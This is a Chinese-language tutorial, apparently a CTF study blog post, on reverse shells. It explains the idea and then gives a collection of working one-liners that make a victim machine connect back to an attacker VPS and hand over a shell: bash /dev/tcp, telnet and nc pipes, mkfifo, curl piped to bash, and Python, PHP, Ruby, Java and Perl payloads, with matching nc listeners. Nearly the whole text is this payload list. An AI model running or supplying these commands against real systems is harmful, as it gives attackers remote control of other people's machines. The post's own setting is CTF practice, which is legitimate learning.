反弹shell

反弹Shell

为什么要反弹shell?

在打ctf比赛的时候,会遇到一些题目它不会回显,需要借助反弹shell来拿flag。

什么是反弹shell?

简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的>web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的监听,我们去>访问它的时候,就会给我们建立连接。而现在所谓的反弹shell指的是反过来在我们自己的公网>vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell>去远程控制服务器了。

实验环境:

kali()

腾讯云(x.x.x.240)

在实验之前,先确定vps已经开通端口且防火墙允许访问,不然无法做。在这里我开的端口是9999

方法一:使用bash反弹shell

bash

1
bash -c "bash -i >& /dev/tcp/x.x.x.240/9999 0>&1"

现在vps上监听端口

nc -lvvp 9999

image-20211204211104702

在kali上执行命令

1
bash -c "bash -i >& /dev/tcp/x.x.x.240/9999 0>&1"

1638623744(1)

可以看到,vps上已经可以执行命令了

image-20211204211331701

方法二:Telnet反弹shell

2.1:

1
mknod backpipe p && telnet x.x.x.x 4444 0<backpipe | /bin/bash 1>backpipe

2.2:攻击者主机上开两个终端,分别监听:

nc -lvvp 9999

nc -lvvp 9002

在目标主机执行:

1
telnet x.x.x.x 9999 | /bin/bash | telnet x.x.x.x 9002

可以看到,一个端口用来输入,一个端口用来输出

9999端口输入:

image-20211204213035092

9002端口输出:

image-20211204213059225

方法三:nc反弹shell

3.1 正常一句话反弹

1
nc x.x.x.x 9999 -t -e /bin/bash

如果目标主机linux发行版本没有 -e 参数,还有以下几种方式:

3.2 mkfifo

1
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f

注:mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信

3.3 开两个端口

nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555 #从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。

方法四:各种脚本反弹shell

4.1 curl反弹shell

curl反弹的前提需要攻击机上开启了apache等服务,并在网站目录下写入了一个带有bash一句话的文件,当受害机执行curl ip/带有bash一句话的文件|bash,就可以反弹shell。下面开始演示:

现在vps的www目录下新建一个curl.txt,并且写入bash一句话。(IP地址为攻击机地址即vps的地址)

1
bash -i >& /dev/tcp/x.x.x.x/9999 0>&1

image-20211204214352349

开启端口监听后,在受害机执行

1
curl x.x.x.x/curl.txt|bash

image-20211204214621715

image-20211204214558377

4.2 python反弹shell

先监听端口,然后在受害机上执行如下命令:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x.",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4.3 php反弹shell

先监听端口,然后在受害机上执行如下命令:

1
php -r '$sock=fsockopen("x.x.x.x",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
1
php -r '$s=fsockopen("x.x.x.x",9999);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);' //我用这个命令反弹过去就马上断了
1
php -r '$s=fsockopen("x.x.x.x",9999);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
1
php -r '$s=fsockopen("x.x.x.x",9999);`/bin/sh -i <&3 >&3 2>&3`;'
1
php -r '$s=fsockopen("x.x.x.x",9999);system("/bin/sh -i <&3 >&3 2>&3");'
1
php -r '$s=fsockopen("x.x.x.x",9999);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

4.3 ruby反弹shell

先监听端口,然后在受害机上执行如下命令:

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","9999");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

4.3 Java反弹shell

编辑Test.java

注意事项:类名要和文件名一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Test {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/xxxx;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

image-20211204221612131

vps上收到shell

image-20211204221631816

4.4 perl反弹shell

1
perl -e 'use Socket;$i="x.x.x.x";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'